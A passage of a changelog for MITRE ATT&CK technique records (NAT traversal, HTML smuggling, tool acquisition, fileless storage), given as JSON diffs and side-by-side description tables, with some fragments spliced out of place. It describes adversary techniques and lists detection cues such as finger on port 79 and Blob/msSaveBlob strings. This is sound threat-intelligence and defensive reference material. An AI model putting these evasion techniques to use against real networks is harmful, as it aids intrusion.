Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][9]\": \"Don Le, Stifel Financial\"}}",
+ "previous_version": "2.5",
+ "version_change": "2.5 \u2192 2.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1031: Network Intrusion Prevention"
+ ],
+ "new": [
+ "M1037: Filter Network Traffic"
+ ],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0060: Detect Ingress Tool Transfers via Behavioral Chain"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-19 16:48:08.241000+00:00",
+ "modified": "2025-10-24 17:48:46.071000+00:00",
+ "name": "Network Address Translation Traversal",
+ "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1599/001",
+ "external_id": "T1599.001"
+ },
+ {
+ "source_name": "RFC1918",
+ "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.",
+ "url": "https://tools.ietf.org/html/rfc1918"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.071000+00:00\", \"old_value\": \"2025-04-25 14:46:38.101000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bridge network boundaries by modifying a network device\\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\\n\\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. 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When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. 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A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n \\n-When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n+When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n \\n-Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\\n+Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\\n\\nMonitor the border network device\\u2019s configuration to determine if any unintended NAT rules have been added without authorization.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. 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+ "previous_version": "1.1",
+ "version_change": "1.1 \u2192 1.2",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bridge network boundaries by modifying a net | t | 1 | Adversaries may bridge network boundaries by modifying a net |
| > | work device\u2019s Network Address Translation (NAT) configuratio | > | work device\u2019s Network Address Translation (NAT) configuratio | ||
| > | n. Malicious modifications to NAT may enable an adversary to | > | n. Malicious modifications to NAT may enable an adversary to | ||
| > | bypass restrictions on traffic routing that otherwise separ | > | bypass restrictions on traffic routing that otherwise separ | ||
| > | ate trusted and untrusted networks. Network devices such as | > | ate trusted and untrusted networks. Network devices such as | ||
| > | routers and firewalls that connect multiple networks togeth | > | routers and firewalls that connect multiple networks togeth | ||
| > | er may implement NAT during the process of passing packets b | > | er may implement NAT during the process of passing packets b | ||
| > | etween networks. When performing NAT, the network device wil | > | etween networks. When performing NAT, the network device wil | ||
| > | l rewrite the source and/or destination addresses of the IP | > | l rewrite the source and/or destination addresses of the IP | ||
| > | address header. Some network designs require NAT for the pac | > | address header. Some network designs require NAT for the pac | ||
| > | kets to cross the border device. A typical example of this | > | kets to cross the border device. A typical example of this | ||
| > | is environments where internal networks make use of non-Inte | > | is environments where internal networks make use of non-Inte | ||
| > | rnet routable addresses.(Citation: RFC1918) When an adversa | > | rnet routable addresses.(Citation: RFC1918) When an adversa | ||
| > | ry gains control of a network boundary device, they can eith | > | ry gains control of a network boundary device, they may modi | ||
| > | er leverage existing NAT configurations to send traffic betw | > | fy NAT configurations to send traffic between two separated | ||
| > | een two separated networks, or they can implement NAT config | > | networks, or to obscure their activities. In network design | ||
| > | urations of their own design. In the case of network design | > | s that require NAT to function, such modifications enable th | ||
| > | s that require NAT to function, this enables the adversary t | > | e adversary to overcome inherent routing limitations that wo | ||
| > | o overcome inherent routing limitations that would normally | > | uld normally prevent them from accessing protected systems b | ||
| > | prevent them from accessing protected systems behind the bor | > | ehind the border device. In network designs that do not req | ||
| > | der device. In the case of network designs that do not requ | > | uire NAT, adversaries may use address translation to further | ||
| > | ire NAT, address translation can be used by adversaries to o | > | obscure their activities, as changing the addresses of pack | ||
| > | bscure their activities, as changing the addresses of packet | > | ets that traverse a network boundary device can make monitor | ||
| > | s that traverse a network boundary device can make monitorin | > | ing data transmissions more challenging for defenders. Ad | ||
| > | g data transmissions more challenging for defenders. Adve | > | versaries may use [Patch System Image](https://attack.mitre. | ||
| > | rsaries may use [Patch System Image](https://attack.mitre.or | > | org/techniques/T1601/001) to change the operating system of | ||
| > | g/techniques/T1601/001) to change the operating system of a | > | a network device, implementing their own custom NAT mechanis | ||
| > | network device, implementing their own custom NAT mechanisms | > | ms to further obscure their activities. | ||
| > | to further obscure their activities |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may store data in \"fileless\" formats to conceal | t | 1 | Adversaries may store data in \"fileless\" formats to conceal |
| > | malicious activity from defenses. Fileless storage can be br | > | malicious activity from defenses. Fileless storage can be br | ||
| > | oadly defined as any format other than a file. Common exampl | > | oadly defined as any format other than a file. Common exampl | ||
| > | es of non-volatile fileless storage in Windows systems inclu | > | es of non-volatile fileless storage in Windows systems inclu | ||
| > | de the Windows Registry, event logs, or WMI repository.(Cita | > | de the Windows Registry, event logs, or WMI repository.(Cita | ||
| > | tion: Microsoft Fileless)(Citation: SecureList Fileless) In | > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | ||
| > | Linux systems, shared memory directories such as `/dev/shm`, | > | red memory directories on Linux systems (`/dev/shm`, `/run/s | ||
| > | `/run/shm`, `/var/run`, and `/var/lock` may also be conside | > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | ||
| > | red fileless storage, as files written to these directories | > | n Network Devices (`/tmp` and `/volatile`) may also be consi | ||
| > | are mapped directly to RAM and not stored on the disk.(Citat | > | dered fileless storage, as files written to these directorie | ||
| > | ion: Elastic Binary Executed from Shared Memory Directory)(C | > | s are mapped directly to RAM and not stored on the disk.(Cit | ||
| > | itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma | > | ation: Elastic Binary Executed from Shared Memory Directory) | ||
| > | lware 2024) Similar to fileless in-memory behaviors such as | > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | ||
| > | [Reflective Code Loading](https://attack.mitre.org/techniqu | > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | ||
| > | es/T1620) and [Process Injection](https://attack.mitre.org/t | > | O Nexus 900 Config). Similar to fileless in-memory behavior | ||
| > | echniques/T1055), fileless data storage may remain undetecte | > | s such as [Reflective Code Loading](https://attack.mitre.org | ||
| > | d by anti-virus and other endpoint security tools that can o | > | /techniques/T1620) and [Process Injection](https://attack.mi | ||
| > | nly access specific file formats from disk storage. Leveragi | > | tre.org/techniques/T1055), fileless data storage may remain | ||
| > | ng fileless storage may also allow adversaries to bypass the | > | undetected by anti-virus and other endpoint security tools t | ||
| > | protections offered by read-only file systems in Linux.(Cit | > | hat can only access specific file formats from disk storage. | ||
| > | ation: Sysdig Fileless Malware 23022) Adversaries may use f | > | Leveraging fileless storage may also allow adversaries to b | ||
| > | ileless storage to conceal various types of stored data, inc | > | ypass the protections offered by read-only file systems in L | ||
| > | luding payloads/shellcode (potentially being used as part of | > | inux.(Citation: Sysdig Fileless Malware 23022) Adversaries | ||
| > | [Persistence](https://attack.mitre.org/tactics/TA0003)) and | > | may use fileless storage to conceal various types of stored | ||
| > | collected data not yet exfiltrated from the victim (e.g., [ | > | data, including payloads/shellcode (potentially being used a | ||
| > | Local Data Staging](https://attack.mitre.org/techniques/T107 | > | s part of [Persistence](https://attack.mitre.org/tactics/TA0 | ||
| > | 4/001)). Adversaries also often encrypt, encode, splice, or | > | 003)) and collected data not yet exfiltrated from the victim | ||
| > | otherwise obfuscate this fileless data when stored. Some fo | > | (e.g., [Local Data Staging](https://attack.mitre.org/techni | ||
| > | rms of fileless storage activity may indirectly create artif | > | ques/T1074/001)). Adversaries also often encrypt, encode, sp | ||
| > | acts in the file system, but in central and otherwise diffic | > | lice, or otherwise obfuscate this fileless data when stored. | ||
| > | ult to inspect formats such as the WMI (e.g., `%SystemRoot%\\ | > | Some forms of fileless storage activity may indirectly cr | ||
| > | System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\ | > | eate artifacts in the file system, but in central and otherw | ||
| > | System32\\Config`) physical files.(Citation: Microsoft Filele | > | ise difficult to inspect formats such as the WMI (e.g., `%Sy | ||
| > | ss) | > | stemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%Sy | ||
| > | stemRoot%\\System32\\Config`) physical files.(Citation: Micros | ||||
| > | oft Fileless) |
text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1027/006",
+ "external_id": "T1027.006"
+ },
+ {
+ "source_name": "Outlflank HTML Smuggling 2018",
+ "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.",
+ "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"
+ },
+ {
+ "source_name": "MSTIC NOBELIUM May 2021",
+ "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+ },
+ {
+ "source_name": "HTML Smuggling Menlo Security 2020",
+ "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.",
+ "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"
+ },
+ {
+ "source_name": "nccgroup Smuggling HTA 2017",
+ "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.",
+ "url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Stan Hegt, Outflank",
+ "Jonathan Boucher, @crash_wave, Bank of Canada",
+ "Krishnan Subramanian, @krish203",
+ "Vinay Pidathala"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.501000+00:00\", \"old_value\": \"2025-04-15 19:59:12.085000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n\\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n-\\n-Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}",
+ "previous_version": "1.2",
+ "version_change": "1.2 \u2192 1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1048: Application Isolation and Sandboxing"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0313: Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 02:08:33.977000+00:00",
+ "modified": "2025-10-24 17:49:10.900000+00:00",
+ "name": "Tool",
+ "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/002",
+ "external_id": "T1588.002"
+ },
+ {
+ "source_name": "Sentinel Labs Top Tier Target 2025",
+ "description": " Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\u2019s Adversaries. Retrieved May 22, 2025.",
+ "url": "https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/"
+ },
+ {
+ "source_name": "Analyzing CS Dec 2020",
+ "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
+ "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
+ },
+ {
+ "source_name": "Recorded Future Beacon 2019",
+ "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
+ "url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers"
+ },
+ {
+ "source_name": "Forescout Conti Leaks 2022",
+ "description": "Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.",
+ "url": "https://www.forescout.com/resources/analysis-of-conti-leaks/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "SOCCRATES",
+ "Mnemonic AS",
+ "Menachem Goldstein"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.900000+00:00\", \"old_value\": \"2025-04-15 23:16:21.007000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n\\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\", \"old_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n+Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n \\n-Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\\n+Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n+\\n+Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Sentinel Labs Top Tier Target 2025\", \"description\": \" Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\\u2019s Adversaries. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/\"}, \"root['external_references'][4]\": {\"source_name\": \"Forescout Conti Leaks 2022\", \"description\": \"Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.\", \"url\": \"https://www.forescout.com/resources/analysis-of-conti-leaks/\"}, \"root['x_mitre_contributors'][2]\": \"Menachem Goldstein\"}}",
+ "previous_version": "1.1",
+ "version_change": "1.1 \u2192 1.2",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download software tools that | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | can be used during targeting. Tools can be open or closed so | > | can be used during targeting. Tools can be open or closed so | ||
| > | urce, free or commercial. A tool can be used for malicious p | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | urposes by an adversary, but (unlike malware) were not inten | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | ded to be used for those purposes (ex: [PsExec](https://atta | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ck.mitre.org/software/S0029)). Tool acquisition can involve | > | ck.mitre.org/software/S0029)). Adversaries may obtain tool | ||
| > | the procurement of commercial software licenses, including f | > | s to support their operations, including to support executio | ||
| > | or red teaming tools such as [Cobalt Strike](https://attack. | > | n of post-compromise behaviors. Tools may also be leveraged | ||
| > | mitre.org/software/S0154). Commercial software may be obtain | > | for testing \u2013 for example, evaluating malware against commer | ||
| > | ed through purchase, stealing licenses (or licensed copies o | > | cial antivirus or endpoint detection and response (EDR) appl | ||
| > | f the software), or cracking trial versions.(Citation: Recor | > | ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se | ||
| > | ded Future Beacon 2019) Adversaries may obtain tools to sup | > | ntinel Labs Top Tier Target 2025) Tool acquisition may invo | ||
| > | port their operations, including to support execution of pos | > | lve the procurement of commercial software licenses, includi | ||
| > | t-compromise behaviors. In addition to freely downloading or | > | ng for red teaming tools such as Cobalt Strike. In addition | ||
| > | purchasing software, adversaries may steal software and/or | > | to freely downloading or purchasing software, adversaries ma | ||
| > | software licenses from third-party entities (including other | > | y steal software and/or software licenses from third-party e | ||
| > | adversaries). | > | ntities (including other adversaries). Threat actors may als | ||
| > | o crack trial versions of software.(Citation: Recorded Futur | ||||
| > | e Beacon 2019) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
